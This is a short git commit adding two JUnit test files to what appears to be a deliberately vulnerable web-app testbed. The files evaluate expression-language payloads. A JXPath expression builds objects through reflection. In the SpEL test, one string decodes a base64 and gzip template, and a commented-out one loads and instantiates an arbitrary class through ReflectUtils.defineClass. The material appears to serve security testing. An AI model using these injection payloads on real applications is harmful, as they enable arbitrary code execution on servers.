test: add testground

Author: ReaJason

vul/vul-webapp-expression/src/test/java/JXPathServletTest.java

@@ -0,0 +1,19 @@
+import org.apache.commons.jxpath.JXPathContext;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/9/3
+ */
+class JXPathServletTest {
+
+    @Test
+    void test(){
+        String s = "java.lang.reflect.Array.newInstance(java.lang.Class.forName('java.net.URL'), java.lang.Integer.new('1'), java.lang.Integer.new('0'))";
+        JXPathContext context = JXPathContext.newContext(null);
+        System.out.println(context.getValue(s));
+    }
+
+}

vul/vul-webapp-expression/src/test/java/SpELServletTest.java

@@ -0,0 +1,16 @@
+import org.junit.jupiter.api.Test;
+import org.springframework.expression.spel.standard.SpelExpressionParser;
+
+/**
+ * @author ReaJason
+ * @since 2025/9/2
+ */
+class SpELServletTest {
+
+    @Test
+    void test() {
+//        String data = "#clazz = ''.class.forName('org.springframework.cglib.core.ReflectUtils').getMethod('defineClass', ''.class, ''.class.forName('[B'), ''.class.forName('java.lang.ClassLoader')).invoke(null, '{{className}}', #classBytes, ''.class.forName('java.lang.Thread').getMethod('currentThread').invoke(null).getContextClassLoader()), #clazz.newInstance()";
+        String data = "''.class.forName('org.springframework.util.StreamUtils').getMethod('copyToByteArray', ''.class.forName('java.io.InputStream')).invoke(null, ''.class.forName('java.util.zip.GZIPInputStream').getConstructor(''.class.forName('java.io.InputStream')).newInstance(''.class.forName('java.io.ByteArrayInputStream').getConstructor(''.class.forName('[B')).newInstance(''.class.forName('org.springframework.util.Base64Utils').getMethod('decodeFromString', ''.class).invoke(null, '{{base64Str}}'))))";
+        System.out.println(new SpelExpressionParser().parseExpression(data).getValue());
+    }
+}